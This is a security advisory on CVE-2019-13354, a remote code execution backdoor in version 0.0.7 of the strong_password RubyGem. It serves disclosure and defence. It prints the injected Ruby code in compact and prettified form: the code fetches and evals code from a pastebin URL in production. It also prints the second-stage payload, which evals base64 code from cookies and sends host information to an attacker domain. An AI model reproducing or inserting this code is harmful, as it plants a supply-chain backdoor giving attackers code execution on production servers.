Allele Security Alert
ASA-2019-00408
Identifier(s)
ASA-2019-00408, CVE-2019-13354
Title
Remote Code Execution backdoor
Vendor(s)
Brian McManus
Product(s)
RubyGems strong_password
Affected version(s)
RubyGems strong_password version 0.0.7
Fixed version(s)
RubyGems strong_password version 0.0.8
Proof of concept
Unknown
Description
There’s a remote code execution backdoor in strong_password gem version 0.0.7 as distributed on RubyGems.org.
Technical details
Comparing the contents of the strong_password gem version 0.0.7 with the latest copy in GitHub. At the end of lib/strong_password/strength_checker.rb
version 0.0.7 there was the following:
1 def _!;begin;yield;rescue Exception;end;end 2 _!{Thread.new{loop{_!{sleep 3 rand*3333;eval(Net::HTTP.get(URI('https://pastebin.com/raw/xa456PFt')))}}}if 4 Rails.env[0]=="p"}
Prettified version of the diff:
1 def _!; 2 begin; 3 yield; 4 rescue Exception; 5 end; 6 end 7 8 _!{ 9 Thread.new { 10 loop { 11 _!{ 12 sleep rand * 3333; 13 eval( 14 Net::HTTP.get( 15 URI('https://pastebin.com/raw/xa456PFt') 16 ) 17 ) 18 } 19 } 20 } if Rails.env[0] == "p" 21 }
In a loop within a new thread, after waiting for a random number of seconds up to about an hour, it fetches and runs the code stored in a pastebin.com
, only if running in production, with an empty exception handling that ignores any error it may raise.
The content of the pastebin on June 28th at 8 PM UTC:
1 _! { 2 unless defined?(Z1) 3 Rack::Sendfile.prepend Module.new{define_method(:call){|e| 4 _!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))} 5 super(e)}} 6 Z1 = "(:" 7 end 8 } 9 10 _! { 11 Faraday.get("http://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })
If it didn’t run before (checking for the existence of the Z1
dummy constant) it injects a middleware that eval
‘s cookies named with an ___id
suffix, only in production, all surrounded by the empty exception handler _!
function that’s defined in the hijacked gem, opening the door to silently executing remote code in production at the attacker’s will.
It also sends a request to a controlled domain with an HTTP header informing the infected host URLs. It depends on the Faraday gem being loaded for the notification to work (which the oauth2
and stripe
gems, for example, include).
Credits
Tute Costa
Reference(s)
strong_password v0.0.7 rubygem hijacked
https://withatwist.dev/strong-password-rubygem-hijacked.html
strong_password | RubyGems.org | your community gem host
https://rubygems.org/gems/strong_password/versions/0.0.8
CVE-2019-13354
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13354
CVE-2019-13354
https://nvd.nist.gov/vuln/detail/CVE-2019-13354
If there is any error in this alert or you wish a comprehensive analysis, let us know.
Last modified: July 10, 2019